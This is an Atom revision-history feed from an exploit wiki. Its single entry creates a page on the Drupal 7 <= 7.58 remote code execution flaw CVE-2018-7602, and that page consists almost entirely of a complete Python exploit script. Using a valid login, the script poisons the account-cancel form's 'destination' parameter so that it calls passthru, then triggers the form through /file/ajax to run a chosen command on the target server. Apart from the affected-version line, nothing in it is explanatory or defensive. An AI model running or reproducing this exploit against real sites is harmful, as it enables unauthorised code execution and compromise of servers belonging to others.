<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=2018-7602_Drupal%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>2018-7602 Drupal遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=2018-7602_Drupal%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=2018-7602_Drupal%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T12:37:51Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=2018-7602_Drupal%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2742&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==影響版本== DRUPAL 7 &lt;= 7.58  ==EXP== &lt;pre&gt; #!/usr/bin/env python3  import requests import argparse from bs4 import BeautifulSoup  def get_args():   parser = argparse.Arg...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=2018-7602_Drupal%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=2742&amp;oldid=prev"/>
		<updated>2021-05-08T09:02:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==影響版本== DRUPAL 7 &amp;lt;= 7.58  ==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/env python3  import requests import argparse from bs4 import BeautifulSoup  def get_args():   parser = argparse.Arg...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==影響版本==&lt;br /&gt;
DRUPAL 7 &amp;lt;= 7.58&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import argparse&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
&lt;br /&gt;
def get_args():&lt;br /&gt;
  parser = argparse.ArgumentParser( prog=&amp;quot;drupa7-CVE-2018-7602.py&amp;quot;,&lt;br /&gt;
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),&lt;br /&gt;
                    epilog= '''&lt;br /&gt;
                    This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 &amp;lt;= 7.58&lt;br /&gt;
                    using an valid account and poisoning the cancel account form (user_cancel_confirm_form) &lt;br /&gt;
                    with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).&lt;br /&gt;
                    ''')&lt;br /&gt;
&lt;br /&gt;
  parser.add_argument(&amp;quot;user&amp;quot;, help=&amp;quot;Username&amp;quot;)&lt;br /&gt;
  parser.add_argument(&amp;quot;password&amp;quot;, help=&amp;quot;Password&amp;quot;)&lt;br /&gt;
  parser.add_argument(&amp;quot;target&amp;quot;, help=&amp;quot;URL of target Drupal site (ex: http://target.com/)&amp;quot;)&lt;br /&gt;
  parser.add_argument(&amp;quot;-c&amp;quot;, &amp;quot;--command&amp;quot;, default=&amp;quot;id&amp;quot;, help=&amp;quot;Command to execute (default = id)&amp;quot;)&lt;br /&gt;
  parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--function&amp;quot;, default=&amp;quot;passthru&amp;quot;, help=&amp;quot;Function to use as attack vector (default = passthru)&amp;quot;)&lt;br /&gt;
  parser.add_argument(&amp;quot;-x&amp;quot;, &amp;quot;--proxy&amp;quot;, default=&amp;quot;&amp;quot;, help=&amp;quot;Configure a proxy in the format http://127.0.0.1:8080/ (default = none)&amp;quot;)&lt;br /&gt;
  args = parser.parse_args()&lt;br /&gt;
  return args&lt;br /&gt;
&lt;br /&gt;
def pwn_target(target, username, password, function, command, proxy):&lt;br /&gt;
  requests.packages.urllib3.disable_warnings()&lt;br /&gt;
  session = requests.Session()&lt;br /&gt;
  proxyConf = {'http': proxy, 'https': proxy}&lt;br /&gt;
  try:&lt;br /&gt;
    print('[*] Creating a session using the provided credential...')&lt;br /&gt;
    get_params = {'q':'user/login'}&lt;br /&gt;
    post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}&lt;br /&gt;
    print('[*] Finding User ID...')&lt;br /&gt;
    session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)&lt;br /&gt;
    get_params = {'q':'user'}&lt;br /&gt;
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)&lt;br /&gt;
    soup = BeautifulSoup(r.text, &amp;quot;html.parser&amp;quot;)&lt;br /&gt;
    user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')&lt;br /&gt;
    if (&amp;quot;?q=&amp;quot; in user_id):&lt;br /&gt;
      user_id = user_id.split(&amp;quot;=&amp;quot;)[1]&lt;br /&gt;
    if(user_id):&lt;br /&gt;
      print('[*] User ID found: ' + user_id)&lt;br /&gt;
    print('[*] Poisoning a form using \'destination\' and including it in cache.')&lt;br /&gt;
    get_params = {'q': user_id + '/cancel'}&lt;br /&gt;
    r = session.get(target, params=get_params, verify=False, proxies=proxyConf)&lt;br /&gt;
    soup = BeautifulSoup(r.text, &amp;quot;html.parser&amp;quot;)&lt;br /&gt;
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})&lt;br /&gt;
    form_token = form.find('input', {'name': 'form_token'}).get('value')&lt;br /&gt;
    get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&amp;amp;q[%23type]=markup&amp;amp;q[%23markup]=' + command }&lt;br /&gt;
    post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}&lt;br /&gt;
    r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)&lt;br /&gt;
    soup = BeautifulSoup(r.text, &amp;quot;html.parser&amp;quot;)&lt;br /&gt;
    form = soup.find('form', {'id': 'user-cancel-confirm-form'})&lt;br /&gt;
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')&lt;br /&gt;
    if form_build_id:&lt;br /&gt;
        print('[*] Poisoned form ID: ' + form_build_id)&lt;br /&gt;
        print('[*] Triggering exploit to execute: ' + command)&lt;br /&gt;
        get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}&lt;br /&gt;
        post_params = {'form_build_id':form_build_id}&lt;br /&gt;
        r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)&lt;br /&gt;
        parsed_result = r.text.split('[{&amp;quot;command&amp;quot;:&amp;quot;settings&amp;quot;')[0]&lt;br /&gt;
        print(parsed_result)&lt;br /&gt;
  except:&lt;br /&gt;
    print(&amp;quot;ERROR: Something went wrong.&amp;quot;)&lt;br /&gt;
    raise&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
  print ()&lt;br /&gt;
  print ('===================================================================================')&lt;br /&gt;
  print ('|   DRUPAL 7 &amp;lt;= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')&lt;br /&gt;
  print ('|                                   by pimps                                      |')&lt;br /&gt;
  print ('===================================================================================\n')&lt;br /&gt;
&lt;br /&gt;
  args = get_args() # get the cl args&lt;br /&gt;
  pwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
  main()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>